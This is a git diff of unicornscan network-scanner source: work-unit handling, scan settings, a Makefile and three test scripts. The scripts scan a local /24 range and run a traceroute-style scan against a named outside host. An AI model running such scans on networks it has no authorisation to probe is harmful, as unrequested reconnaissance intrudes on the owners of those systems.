NULL); + + srch.iter=s->cur_iter; + srch.used=0; + srch.magic=WK_MAGIC; + + if ((w_u.ptr=fifo_find(s->swu, &srch, &workunit_match_slp)) != NULL) { + assert(w_u.w->magic == WK_MAGIC); + w_u.w->used=1; + swu_s++; + DBG(M_WRK, "sending S workunit with wid %u", w_u.w->wid); + *wid=w_u.w->wid; + *wk_len=w_u.w->len; + + push_output_modules(w_u.ptr); + + return w_u.w->s; + } + + return NULL; +} + +static char interfaces[128]; +unsigned int interfaces_off=0; + +int workunit_get_interfaces(void) { + + memset(interfaces, 0, sizeof(interfaces)); + interfaces_off=0; + + fifo_walk(s->swu, workunit_append_interface); + + DBG(M_MST, "interfaces `%s'", interfaces); + + if (interfaces_off == 0 || strlen(interfaces) < 1) { + return -1; + } + else { + s->interface_str=xstrdup(interfaces); + return 1; + } +} + +static void workunit_append_interface(void *wptr) { + union { + struct wk_s *w; + void *p; + } w_u; + char *add=NULL; + struct sockaddr *gw=NULL; + int ret=0; + size_t add_len=0; + + memset(&gw, 0, sizeof(gw)); + + assert(wptr != NULL); + w_u.p=wptr; + assert(w_u.w->magic == WK_MAGIC); + assert(w_u.w->s != NULL); + + ret=getroutes( + &add, + (const struct sockaddr *)&w_u.w->s->target, + (const struct sockaddr *)&w_u.w->s->targetmask, + &gw + ); + + if (ret == 1 && add != NULL) { + + add_len=strlen(add); + + assert(add_len < sizeof(interfaces)); + + if (interfaces_off == 0) { + strncpy(interfaces, add, add_len); + interfaces_off += add_len; + } + else { + if (strstr(interfaces, add) != NULL) { + return; + } + if (add_len + 1 + interfaces_off > sizeof(interfaces)) { + return; + } + interfaces[interfaces_off++]=','; + interfaces[interfaces_off]='\0'; + strncat(interfaces + interfaces_off, add, add_len); + interfaces_off += add_len; + } + } +} + +void workunit_stir_sp(void) { + + fifo_walk(s->swu, balance_send_workunits); + + return; +} + +void workunit_stir_lp(void) { + + fifo_walk(s->lwu, balance_recv_workunits); + + return; +} + +static void balance_send_workunits(void *wptr) { + union { + struct wk_s *w; + void *ptr; + } w_u; + + assert(wptr != NULL); + w_u.ptr=wptr; + assert(w_u.w->magic == WK_MAGIC); + assert(w_u.w->s != NULL); + + /* + * XXX + */ + memcpy(&w_u.w->s->myaddr, &s->vi[0]->myaddr, sizeof(struct sockaddr_storage)); + memcpy(&w_u.w->s->mymask, &s->vi[0]->mymask, sizeof(struct sockaddr_storage)); + memcpy(&w_u.w->s->hwaddr, s->vi[0]->hwaddr, THE_ONLY_SUPPORTED_HWADDR_LEN); + w_u.w->s->mtu=s->vi[0]->mtu; + + return; +} + +static void balance_recv_workunits(void *wptr) { + union { + struct wk_s *w; + void *ptr; + } w_u; + + assert(wptr != NULL); + w_u.ptr=wptr; + assert(w_u.w->magic == WK_MAGIC); + assert(w_u.w->r != NULL); + + /* + * XXX + */ + + w_u.w->r->ret_layers=s->ss->ret_layers; + + return; +} + +void workunit_reject_sp(uint32_t wid) { + assert((1 + 1) == 5); +} + +void workunit_reject_lp(uint32_t wid) { + assert((1 + 1) == 5); +} + +void workunit_destroy_sp(uint32_t wid) { + union { + struct wk_s *w; + void *ptr; + } w_u; + struct wk_s srch; + uint32_t flen=0, after=0; + + memset(&srch, 0, sizeof(srch)); + srch.wid=wid; + srch.magic=WK_MAGIC; + + w_u.ptr=NULL; + + flen=fifo_length(s->swu); + + if (wid == 0) { + PANIC("wid id is zero"); + } + + DBG(M_WRK, "delete SWID %u", wid); + + after=fifo_delete_first(s->swu, (const void *)&srch, *workunit_match_wid, 1); + + assert(after + 1 == flen); + + return; +} + +void workunit_destroy_lp(uint32_t wid) { + union { + struct wk_s *w; + void *ptr; + } w_u; + struct wk_s srch; + uint32_t flen=0, after=0; + + memset(&srch, 0, sizeof(srch)); + srch.wid=wid; + srch.magic=WK_MAGIC; + + w_u.ptr=NULL; + + flen=fifo_length(s->lwu); + + after=fifo_delete_first(s->lwu, (const void *)&srch, *workunit_match_wid, 1); + + assert(after + 1 == flen); + + return; +} + +char *strworkunit(const void *ptr, size_t wul) { + static char workunitdesc[512]; + union { + const void *ptr; + const uint32_t *magic; + const send_workunit_t *s; + const send_pri_workunit_t *p; + const recv_workunit_t *r; + } w_u; + struct in_addr ia1, ia2; + char target[64], targetmask[64], myaddr[64], mymask[64]; + + assert(ptr != NULL); + w_u.ptr=ptr; + + CLEAR(workunitdesc); + + if ( + *w_u.magic == TCP_SEND_MAGIC || + *w_u.magic == UDP_SEND_MAGIC || + *w_u.magic == ARP_SEND_MAGIC || + *w_u.magic == ICMP_SEND_MAGIC || + *w_u.magic == IP_SEND_MAGIC) { + snprintf(target, sizeof(target) -1, "%s", cidr_saddrstr((const struct sockaddr *)&w_u.s->target)); + snprintf(targetmask, sizeof(targetmask) -1, "%s", cidr_saddrstr((const struct sockaddr *)&w_u.s->targetmask)); + snprintf(myaddr, sizeof(myaddr) -1, "%s", cidr_saddrstr((const struct sockaddr *)&w_u.s->myaddr)); + snprintf(mymask, sizeof(mymask) -1, "%s", cidr_saddrstr((const struct sockaddr *)&w_u.s->mymask)); + } + + switch (*w_u.magic) { + case TCP_SEND_MAGIC: + if (wul < sizeof(send_workunit_t)) { + snprintf(workunitdesc, sizeof(workunitdesc) -1, "short TCP SEND"); + return workunitdesc; + } + snprintf(workunitdesc, sizeof(workunitdesc) -1, + "TCP SEND: repeats %u send opts `%s' pps %u delay type %s mtu %u network %s mask %s" + " mynet %s mymask %s tos %u minttl %u maxttl %u ip_off %u fingerprint %u src_port %d" + " tcphdrflgs %s window_size %u syn_key %08x", + w_u.s->repeats, + strsendopts(w_u.s->send_opts), + w_u.s->pps, + delay_getname(w_u.s->delay_type), + w_u.s->mtu, + target, + targetmask, + myaddr, + mymask, + w_u.s->tos, + w_u.s->minttl, + w_u.s->maxttl, + w_u.s->ip_off, + w_u.s->fingerprint, + w_u.s->src_port, + strtcpflgs(w_u.s->tcphdrflgs), + w_u.s->window_size, + w_u.s->syn_key + ); + break; + + case UDP_SEND_MAGIC: + if (wul < sizeof(send_workunit_t)) { + snprintf(workunitdesc, sizeof(workunitdesc) -1, "short UDP SEND"); + return workunitdesc; + } + snprintf(workunitdesc, sizeof(workunitdesc) -1, + "UDP SEND: repeats %u send opts `%s' pps %u delay type %s mtu %u network %s mask %s" + " mynet %s mymask %s tos %u minttl %u maxttl %u ip_off %u fingerprint %u src_port %d", + w_u.s->repeats, + strsendopts(w_u.s->send_opts), + w_u.s->pps, + delay_getname(w_u.s->delay_type), + w_u.s->mtu, + target, + targetmask, + myaddr, + mymask, + w_u.s->tos, + w_u.s->minttl, + w_u.s->maxttl, + w_u.s->ip_off, + w_u.s->fingerprint, + w_u.s->src_port + ); + break; + + case ARP_SEND_MAGIC: + if (wul < sizeof(send_workunit_t)) { + snprintf(workunitdesc, sizeof(workunitdesc) -1, "short ARP SEND"); + return workunitdesc; + } + snprintf(workunitdesc, sizeof(workunitdesc) -1, + "ARP SEND: repeats %u send opts `%s' pps %u delay type %s mtu %u network %s mask %s " + " myaddr %s mymask %s fingerprint %u hwaddr %02x:%02x:%02x:%02x:%02x:%02x", + w_u.s->repeats, + strsendopts(w_u.s->send_opts), + w_u.s->pps, + delay_getname(w_u.s->delay_type), + w_u.s->mtu, + target, + targetmask, + myaddr, + mymask, + w_u.s->fingerprint, + w_u.s->hwaddr[0], + w_u.s->hwaddr[1], + w_u.s->hwaddr[2], + w_u.s->hwaddr[3], + w_u.s->hwaddr[4], + w_u.s->hwaddr[5] + ); + break; + + case TCP_RECV_MAGIC: + if (wul < sizeof(recv_workunit_t)) { + snprintf(workunitdesc, sizeof(workunitdesc) -1, "short TCP RECV"); + return workunitdesc; + } + snprintf(workunitdesc, sizeof(workunitdesc) -1, + "TCP RECV: recv timeout %u ret layers %u recv_opts `%s' window size %u syn_key %08x pcap_len %u", + w_u.r->recv_timeout, + w_u.r->ret_layers, + strrecvopts(w_u.r->recv_opts), + w_u.r->window_size, + w_u.r->syn_key, + w_u.r->pcap_len + ); + break; + + case UDP_RECV_MAGIC: + if (wul < sizeof(recv_workunit_t)) { + snprintf(workunitdesc, sizeof(workunitdesc) -1, "short UDP RECV"); + return workunitdesc; + } + snprintf(workunitdesc, sizeof(workunitdesc) -1, + "UDP RECV: recv timeout %u ret layers %u recv_opts `%s' pcap_len %u", + w_u.r->recv_timeout, + w_u.r->ret_layers, + strrecvopts(w_u.r->recv_opts), + w_u.r->pcap_len + ); + break; + + case ARP_RECV_MAGIC: + if (wul < sizeof(recv_workunit_t)) { + snprintf(workunitdesc, sizeof(workunitdesc) -1, "short ARP RECV"); + return workunitdesc; + } + snprintf(workunitdesc, sizeof(workunitdesc) -1, + "ARP RECV: recv timeout %u ret layers %u recv_opts `%s' pcap_len %u", + w_u.r->recv_timeout, + w_u.r->ret_layers, + strrecvopts(w_u.r->recv_opts), + w_u.r->pcap_len + ); + break; + + case PRI_4SEND_MAGIC: + if (wul < sizeof(send_pri_workunit_t)) { + snprintf(workunitdesc, sizeof(workunitdesc) -1, "short PRI SEND"); + return workunitdesc; + } + ia1.s_addr=w_u.p->shost; + snprintf(myaddr, sizeof(myaddr) -1, "%s", inet_ntoa(ia1)); + ia2.s_addr=w_u.p->dhost; + snprintf(target, sizeof(target) -1, "%s", inet_ntoa(ia2)); + snprintf(workunitdesc, sizeof(workunitdesc) -1, + "PRI SEND: dhost %s dport %u sport %u shost %s flags %s mseq %08x tseq %08x" + " m_tstamp %08x t_tstamp %08x window_size %u doff %u", + target, + w_u.p->dport, + w_u.p->sport, + myaddr, + strtcpflgs(w_u.p->flags), + w_u.p->mseq, + w_u.p->tseq, + w_u.p->t_tstamp, + w_u.p->m_tstamp, + w_u.p->window_size, + w_u.p->doff + ); + break; + + default: + snprintf(workunitdesc, sizeof(workunitdesc) -1, "unknown [%08x magic]", *w_u.magic); + break; + + } + + return workunitdesc; +} + +static int lwu_compare(const void *a, const void *b) { + union { + const void *ptr; + const struct wk_s *w; + } ra_u, rb_u; + const recv_workunit_t *wa_p=NULL, *wb_p=NULL; + + assert(a != NULL && b != NULL); + ra_u.ptr=a; + rb_u.ptr=b; + + wa_p=ra_u.w->r; + wb_p=rb_u.w->r; + + assert(wa_p != NULL && wb_p != NULL); + + if (wa_p->magic == wb_p->magic && + wa_p->recv_opts == wb_p->recv_opts) { + return 0; + } + + return 1; +} + +static int workunit_match_slp(const void *a, const void *b) { + union { + const struct wk_s *w; + const void *ptr; + } wa_u, wb_u; + + + assert(a != NULL && b != NULL); + wa_u.ptr=a; + wb_u.ptr=b; + assert(wa_u.w->magic == WK_MAGIC && wb_u.w->magic == WK_MAGIC); + + DBG(M_WRK, "looking for wk with iter %d and have %d", wb_u.w->iter, wa_u.w->iter); + + if (wa_u.w->used == wb_u.w->used && + wa_u.w->iter == wb_u.w->iter) { + return 0; + } + + return 1; +} + +static int workunit_match_wid(const void *a, const void *b) { + union { + const struct wk_s *w; + const void *ptr; + } wa_u, wb_u; + + + assert(a != NULL && b != NULL); + wa_u.ptr=a; + wb_u.ptr=b; + assert(wa_u.w->magic == WK_MAGIC && wb_u.w->magic == WK_MAGIC); + + DBG(M_WRK, "looking for wk with wid %d and wid %d", wb_u.w->wid, wa_u.w->wid); + + if (wa_u.w->wid == wb_u.w->wid) { + return 0; + } + + return 1; +} + +static int workunit_match_iter(const void *a, const void *b) { + union { + const struct wk_s *w; + const void *ptr; + } wa_u, wb_u; + + assert(a != NULL && b != NULL); + + wa_u.ptr=a; + wb_u.ptr=b; + + assert(wa_u.w->magic == WK_MAGIC); + assert(wb_u.w->magic == WK_MAGIC); + + if (wa_u.w->iter == wb_u.w->iter) { + return 0; + } + + return 1; +} + +#undef WU_L +#undef WU_S diff --git a/src/scan_progs/workunits.h b/src/scan_progs/workunits.h new file mode 100644 index 0000000..0b9ae41 --- /dev/null +++ b/src/scan_progs/workunits.h @@ -0,0 +1,147 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _WORKUNITS_H +# define _WORKUNITS_H + +#define TCP_SEND_MAGIC 0x1a1b1c1d +#define UDP_SEND_MAGIC 0x2a2b2c2d +#define ARP_SEND_MAGIC 0x3a3b3c3d +#define ICMP_SEND_MAGIC 0x4a4b4c4d +#define IP_SEND_MAGIC 0x5a5b5c5d +#define PRI_4SEND_MAGIC 0x6a6b6c6d +#define PRI_6SEND_MAGIC 0x7a7b7c7d + +#define TCP_RECV_MAGIC 0xa1b1c1d1 +#define UDP_RECV_MAGIC 0xa2b2c2d2 +#define ARP_RECV_MAGIC 0xa3b3c4d3 +#define ICMP_RECV_MAGIC 0xa4b4c4d4 +#define IP_RECV_MAGIC 0xa5b5c5d5 + +#define WK_MAGIC 0xf4f3f1f2 +#define WKS_SEND_MAGIC 0x33cd1a1a +#define WKS_RECV_MAGIC 0x32cc1919 + +#define WORKUNIT_STATUS_OUTSTANDING 0 +#define WORKUNIT_STATUS_COMPLETE 1 +#define WORKUNIT_STATUS_ERROR -1 + +typedef struct _PACKED_ send_workunit_t { + uint32_t magic; + uint32_t repeats; + uint16_t send_opts; + uint32_t pps; + uint8_t delay_type; + struct sockaddr_storage myaddr; + struct sockaddr_storage mymask; + uint8_t hwaddr[THE_ONLY_SUPPORTED_HWADDR_LEN]; + uint16_t mtu; + + struct sockaddr_storage target; + struct sockaddr_storage targetmask; + uint8_t tos; + uint8_t minttl; + uint8_t maxttl; + uint16_t ip_off; + uint16_t fingerprint; + int32_t src_port; + uint8_t ipoptions[64]; + uint8_t ipoptions_len; + + uint16_t tcphdrflgs; + uint8_t tcpoptions[64]; + uint8_t tcpoptions_len; + uint16_t window_size; /* without WS, hence the 16 wide version */ + uint32_t syn_key; + + uint16_t port_str_len; +} send_workunit_t; + +typedef struct _PACKED_ recv_workunit_t { + uint32_t magic; + uint8_t recv_timeout; + uint8_t ret_layers; + uint16_t recv_opts; + uint32_t window_size; + + uint32_t syn_key; + uint16_t pcap_len; +} recv_workunit_t; + +/* this is always relative to the currently running scan for protocol types (currently) */ +typedef struct _PACKED_ send_ipv4_pri_workunit_t { + uint32_t magic; + uint32_t dhost; + uint16_t dport; + uint16_t sport; + uint32_t shost; + uint32_t flags; + uint32_t mseq; + uint32_t tseq; + uint32_t t_tstamp; + uint32_t m_tstamp; + uint16_t window_size; + uint16_t doff; +} send_pri_workunit_t; + +struct wk_s { + uint32_t magic; + size_t len; + send_workunit_t *s; + recv_workunit_t *r; + int iter; + int used; + uint32_t wid; +}; + +typedef struct workunit_stats_t { + uint32_t magic; + uint32_t wid; + char *msg; +} workunit_stats_t; + +int workunit_init(void); + +char *strworkunit(const void *, size_t ); + +send_workunit_t *workunit_get_sp(size_t * /* wu len */, uint32_t * /* wid */); +recv_workunit_t *workunit_get_lp(size_t * /* wu len */, uint32_t * /* wid */); + +void workunit_reset(void); +void workunit_dump(void); + +int workunit_add(const char *, char ** /* error message if < 0 */); + +void workunit_reject_sp(uint32_t /* wid */); +void workunit_reject_lp(uint32_t /* wid */); + +int workunit_check_sp(void); + +void workunit_destroy_sp(uint32_t ); +void workunit_destroy_lp(uint32_t ); + +char *workunit_pstr_get(const send_workunit_t *); +char *workunit_fstr_get(const recv_workunit_t *); + +void workunit_destroy(void); +int workunit_get_interfaces(void); + +void workunit_stir_sp(void); +void workunit_stir_lp(void); + +#endif diff --git a/src/settings.h b/src/settings.h new file mode 100644 index 0000000..6b49240 --- /dev/null +++ b/src/settings.h @@ -0,0 +1,318 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _SETTINGS_H +# define _SETTINGS_H + +#define FORK_LOCAL_LISTENER 1 +#define FORK_LOCAL_SENDER 2 + +#define XDEBUG_SIGNAL SIGUSR2 + +#ifndef SCANSETTINGS + /* this is the public interface then */ +# define SCANSETTINGS void +#endif + +/* XXX shouldnt be here at ALL, move this stuff out into scan_modules */ +#include +#include + +#define IDENT_ANY 0 +#define IDENT_ANY_NAME "Test" +#define IDENT_MASTER 1 +#define IDENT_MASTER_NAME "Main" +#define IDENT_SEND 2 +#define IDENT_SEND_NAME "Send" +#define IDENT_RECV 3 +#define IDENT_RECV_NAME "Recv" + +extern int ident; +extern const char *ident_name_ptr; + +union sock_u { + struct sockaddr *s; + struct sockaddr_storage *ss; + struct sockaddr_in *sin; + struct sockaddr_in6 *sin6; + struct sockaddr_ll *sl; + struct f_s *fs; +}; + +union csock_u { + const struct sockaddr *s; + const struct sockaddr_storage *ss; + const struct sockaddr_in *sin; + const struct sockaddr_in6 *sin6; + const struct sockaddr_ll *sl; + const struct f_s *fs; +}; + +/* + * INTERFACE INFORMATION + */ +typedef struct interface_info_t { + uint16_t mtu; + uint8_t hwaddr[THE_ONLY_SUPPORTED_HWADDR_LEN]; + char hwaddr_s[32]; + struct sockaddr_storage myaddr; + struct sockaddr_storage mymask; + char myaddr_s[64]; +} interface_info_t; + +/* + * MODULE PARAMETERS TYPE + */ +typedef struct keyval_t { + char *key; + char *value; + struct keyval_t *next; +} keyval_t; + +/* + * MODULE PARAMETERS + */ +typedef struct mod_params_t { + char *name; + keyval_t *kv; + struct mod_params_t *next; +} mod_params_t; + +typedef struct payload_struct { + uint16_t proto; /* 2 */ + uint16_t port; /* 2 */ + int32_t local_port; /* 2 */ + uint8_t *payload; /* 4 */ + uint32_t payload_size; /* 4 */ + int (*create_payload)(uint8_t **, uint32_t *, void *); /* 4 */ + uint16_t payload_group; /* 2 */ + struct payload_struct *next; /* 4 */ + struct payload_struct *over; /* 4 */ +} payload_t; + +typedef struct payload_lh_t { + payload_t *top; + payload_t *bottom; + payload_t *def; +} payload_lh_t; + +/* + * MAIN CONFIGURATION + */ +typedef struct settings_s { + double num_hosts; + double num_packets; + uint32_t num_secs; + + char *gport_str; + char *tcpquickports; + char *udpquickports; + + char *ip_report_fmt; + char *ip_imreport_fmt; + char *arp_report_fmt; + char *arp_imreport_fmt; + char *openstr; + char *closedstr; + + void *swu; /* fifo target list */ + void *lwu; /* ditto for sniffer */ + + uint32_t wk_seq; + + int senders; + int listeners; + + int scan_iter; /* how many distinct scan iterations do we need for the pcap filters? */ + int cur_iter; + + uint32_t repeats; + + SCANSETTINGS *ss; + + struct { + int stream_segments_sent; + int stream_reassembly_abort_badpkt; + int stream_remote_abort; + int stream_closed_alien_pkt; + int stream_out_of_window_pkt; + int stream_trunc_past_window; + int stream_out_of_order_segment; + int stream_connections_est; + int stream_triggers_sent; + int stream_dynamic_triggers_sent; + int stream_completely_alien_packet; + } stats; + + char *profile; + char *user; + char *interface_str; + interface_info_t **vi; + int vi_size; + int conn_delay; + int ipv4_lookup; + int ipv6_lookup; + + char *pcap_dumpfile; + char *pcap_readfile; + char *extra_pcapfilter; + + uint16_t master_tickrate; + + /* if this is a forked process, read when terminating */ + int forked; + + uint16_t options; + uint16_t send_opts; + uint16_t recv_opts; + + uint32_t verbose; + uint32_t debugmask; + char *debugmaskstr; + uint32_t pps; + + time_t s_time; + time_t e_time; + time_t est_e_time; + + uint16_t payload_group; + + char *ipcuri; /* for forked processes only */ + char *idle_hosts; + char *drone_str; + char *listen_addr; + drone_head_t *dlh; + + uint8_t delay_type_exp; + + void *children; + + uint8_t forklocal; + uint8_t covertness; + + char *mod_dir; + char *module_enable; + mod_params_t *mod_params; + void *report_mod_jit; + + void *pri_work; + + FILE *_stdout; + FILE *_stderr; + + payload_lh_t *plh; + + void *argv_ext; + void *dns; +} settings_t; + +#ifndef MODULE +extern settings_t *s; +#endif + +/* + * sender thread constants + */ +#define S_SHUFFLE_PORTS 1 +#define S_SRC_OVERRIDE 2 +#define S_DEFAULT_PAYLOAD 4 +#define S_BROKEN_TRANS 8 +#define S_BROKEN_NET 16 +#define S_SENDER_INTR 32 /* we can interrupt the sender with new work (high priority) */ + +#define GET_SHUFFLE() (s->send_opts & S_SHUFFLE_PORTS) +#define GET_OVERRIDE() (s->send_opts & S_SRC_OVERRIDE) +#define GET_DEFAULT() (s->send_opts & S_DEFAULT_PAYLOAD) +#define GET_BROKENTRANS() (s->send_opts & S_BROKEN_TRANS) +#define GET_BROKENNET() (s->send_opts & S_BROKEN_NET) +#define GET_SENDERINTR() (s->send_opts & S_SENDER_INTR) + +#define SET_SHUFFLE(x) ((x) ? (s->send_opts |= S_SHUFFLE_PORTS) : (s->send_opts &= ~(S_SHUFFLE_PORTS))) +#define SET_OVERRIDE(x) ((x) ? (s->send_opts |= S_SRC_OVERRIDE) : (s->send_opts &= ~(S_SRC_OVERRIDE))) +#define SET_DEFAULT(x) ((x) ? (s->send_opts |= S_DEFAULT_PAYLOAD) : (s->send_opts &= ~(S_DEFAULT_PAYLOAD))) +#define SET_BROKENTRANS(x) ((x) ? (s->send_opts |= S_BROKEN_TRANS) : (s->send_opts &= ~(S_BROKEN_TRANS))) +#define SET_BROKENNET(x) ((x) ? (s->send_opts |= S_BROKEN_NET) : (s->send_opts &= ~(S_BROKEN_NET))) +#define SET_SENDERINTR(x) ((x) ? (s->send_opts |= S_SENDER_INTR) : (s->send_opts &= ~(S_SENDER_INTR))) + +/* + * master thread constants + */ +#define M_PROC_ERRORS 1 /* icmp + tcp resets */ +#define M_IMMEDIATE 2 /* display as we get it in an informal format */ +#define M_LISTEN_DRONE 4 +#define M_SEND_DRONE 8 +#define M_OUTPUT_DRONE 16 +#define M_DO_CONNECT 32 +#define M_REPORT_QUIET 64 /* no default scan output at all, just put it into the output modules */ +#define M_IGN_ROOT 128 +#define M_DO_DNS 256 /* in reporting, do reverse dns lookups (at least) */ +#define M_DO_TRANS 512 /* translate open/closed */ +#define M_PROC_DUPS 1024 /* chain duplicate report structures */ + +#define GET_PROCERRORS() (s->options & M_PROC_ERRORS) +#define GET_IMMEDIATE() (s->options & M_IMMEDIATE) +#define GET_LISTENDRONE() (s->options & M_LISTEN_DRONE) +#define GET_SENDDRONE() (s->options & M_SEND_DRONE) +#define GET_OUTPUTDRONE() (s->options & M_OUTPUT_DRONE) +#define GET_DOCONNECT() (s->options & M_DO_CONNECT) +#define GET_REPORTQUIET() (s->options & M_REPORT_QUIET) +#define GET_IGNROOT() (s->options & M_IGN_ROOT) +#define GET_DODNS() (s->options & M_DO_DNS) +#define GET_DOTRANS() (s->options & M_DO_TRANS) +#define GET_PROCDUPS() (s->options & M_PROC_DUPS) + +#define SET_PROCERRORS(x) ((x) ? (s->options |= M_PROC_ERRORS) : (s->options &= ~(M_PROC_ERRORS))) +#define SET_IMMEDIATE(x) ((x) ? (s->options |= M_IMMEDIATE) : (s->options &= ~(M_IMMEDIATE))) +#define SET_LISTENDRONE(x) ((x) ? (s->options |= M_LISTEN_DRONE) : (s->options &= ~(M_LISTEN_DRONE))) +#define SET_SENDDRONE(x) ((x) ? (s->options |= M_SEND_DRONE) : (s->options &= ~(M_SEND_DRONE))) +#define SET_OUTPUTDRONE(x) ((x) ? (s->options |= M_OUTPUT_DRONE) : (s->options &= ~(M_OUTPUT_DRONE))) +#define SET_DOCONNECT(x) ((x) ? (s->options |= M_DO_CONNECT) : (s->options &= ~(M_DO_CONNECT))) +#define SET_REPORTQUIET(x) ((x) ? (s->options |= M_REPORT_QUIET) : (s->options &= ~(M_REPORT_QUIET))) +#define SET_IGNROOT(x) ((x) ? (s->options |= M_IGN_ROOT) : (s->options &= ~(M_IGN_ROOT))) +#define SET_DODNS(x) ((x) ? (s->options |= M_DO_DNS) : (s->options &= ~(M_DO_DNS))) +#define SET_DOTRANS(x) ((x) ? (s->options |= M_DO_TRANS) : (s->options &= ~(M_DO_TRANS))) +#define SET_PROCDUPS(x) ((x) ? (s->options |= M_PROC_DUPS) : (s->options &= ~(M_PROC_DUPS))) + +/* + * recv thread constants + */ +#define L_WATCH_ERRORS 1 /* add icmp to the pcap filter, etc */ +#define L_USE_PROMISC 2 /* mostly for -s stuff XXX check for aliases */ +#define L_DO_CONNECT 4 /* do connection stuff */ +#define L_IGNORE_RSEQ 8 /* ignore reset seq's, report anyhow (if watch errors is set anyhow) */ +#define L_IGNORE_SEQ 16 /* ignore ALL seq's... */ +#define L_SNIFF 32 /* display packet parsing information */ + +#define GET_WATCHERRORS() (s->recv_opts & L_WATCH_ERRORS) +#define GET_PROMISC() (s->recv_opts & L_USE_PROMISC) +#define GET_LDOCONNECT() (s->recv_opts & L_DO_CONNECT) +#define GET_IGNORERSEQ() (s->recv_opts & L_IGNORE_RSEQ) +#define GET_IGNORESEQ() (s->recv_opts & L_IGNORE_SEQ) +#define GET_SNIFF() (s->recv_opts & L_SNIFF) + +#define SET_WATCHERRORS(x) ((x) ? (s->recv_opts |= L_WATCH_ERRORS) : (s->recv_opts &= ~(L_WATCH_ERRORS))) +#define SET_PROMISC(x) ((x) ? (s->recv_opts |= L_USE_PROMISC) : (s->recv_opts &= ~(L_USE_PROMISC))) +#define SET_LDOCONNECT(x) ((x) ? (s->recv_opts |= L_DO_CONNECT) : (s->recv_opts &= ~(L_DO_CONNECT))) +#define SET_IGNORERSEQ(x) ((x) ? (s->recv_opts |= L_IGNORE_RSEQ) : (s->recv_opts &= ~(L_IGNORE_RSEQ))) +#define SET_IGNORESEQ(x) ((x) ? (s->recv_opts |= L_IGNORE_SEQ) : (s->recv_opts &= ~(L_IGNORE_SEQ))) +#define SET_SNIFF(x) ((x) ? (s->recv_opts |= L_SNIFF) : (s->recv_opts &= ~(L_SNIFF))) + +char *stroptions (uint16_t ); +char *strrecvopts(uint16_t ); +char *strsendopts(uint16_t ); +#endif diff --git a/src/test_scripts/localarp.sh b/src/test_scripts/localarp.sh new file mode 100755 index 0000000..b57af3f --- /dev/null +++ b/src/test_scripts/localarp.sh @@ -0,0 +1,3 @@ +#!/bin/sh -x + +unicornscan -mA -Iv gateway/24 diff --git a/src/test_scripts/multi_scan.sh b/src/test_scripts/multi_scan.sh new file mode 100755 index 0000000..3cb3320 --- /dev/null +++ b/src/test_scripts/multi_scan.sh @@ -0,0 +1,3 @@ +#!/bin/sh -x + +unicornscan -mA -Iv -p22,80 ${*} gateway/24 random:mT gateway:mU,q diff --git a/src/test_scripts/traceroute_fmtcat.sh b/src/test_scripts/traceroute_fmtcat.sh new file mode 100755 index 0000000..e1e83f7 --- /dev/null +++ b/src/test_scripts/traceroute_fmtcat.sh @@ -0,0 +1,5 @@ +#!/bin/sh -x + +unicornscan -t6-30 www.i2net.com:mTCE2,80 -HIvE -Uc \ + -o'imip: IMM: %r to %hn trace %Tn from %sn port %pn ttl %t seq %S window %w' \ + -o'ip: REP: %r to %hn trace %Tn from %sn port %pn ttl %t seq %S window %w' diff --git a/src/tools/Makefile.in b/src/tools/Makefile.in new file mode 100644 index 0000000..6827720 --- /dev/null +++ b/src/tools/Makefile.in @@ -0,0 +1,46 @@ +include ../../Makefile.inc + +PROGS=fantaip unibrow unicfgtst + +G_LDPATH=-L$(BUILD_DIR)/src/unilib -L$(BUILD_DIR)/libs/fake/lib -L$(BUILD_DIR)/src/scan_progs +G_LDADD=-lscan -lunilib -lltdl $(LDFLAGS) + +all: $(PROGS) + +fantaip: fantaip.lo + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o fantaip fantaip.lo $(G_LDPATH) $(G_LDADD) -lpcap -ldnet + +unibrow: unibrow.lo + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o unibrow unibrow.lo $(G_LDPATH) $(G_LDADD) -lpcap + +unicfgtst: unicfgtst.lo + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o unicfgtst unicfgtst.lo $(G_LDPATH) -L../parse -lparse $(G_LDADD) + +fpdb: fpdb.lo p0f/p0f.lo + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) @PG_CPPFLAGS@ -o fpdb fpdb.lo p0f/p0f.lo @PG_LDFLAGS@ -lpq $(G_LDPATH) $(G_LDADD) + +fpdb.lo: fpdb.c + $(LIBTOOL) --mode=compile $(CC) $(CFLAGS) -c @PG_CPPFLAGS@ fpdb.c + +p0f/p0f.lo: + make -C p0f + +clean: + $(LIBTOOL) --mode=clean rm -f fantaip fantaip.lo unibrow.lo unibrow unicfgtst.lo unicfgtst fpdb.lo fpdb + make -C p0f clean + +distclean: clean + +install: all + mkdir -p $(DESTDIR)/$(bindir) + $(INSTALL_PROGRAM) -m 755 fantaip $(DESTDIR)/$(bindir)/ + $(CHCON) system_u:object_r:netutils_exec_t $(DESTDIR)/$(bindir)/fantaip + $(INSTALL_PROGRAM) -m 755 unibrow $(DESTDIR)/$(bindir)/unibrow + $(CHCON) system_u:object_r:bin_t $(DESTDIR)/$(bindir)/unibrow + $(INSTALL_PROGRAM) -m 755 unicfgtst $(DESTDIR)/$(bindir)/unicfgtst + $(CHCON) system_u:object_r:bin_t 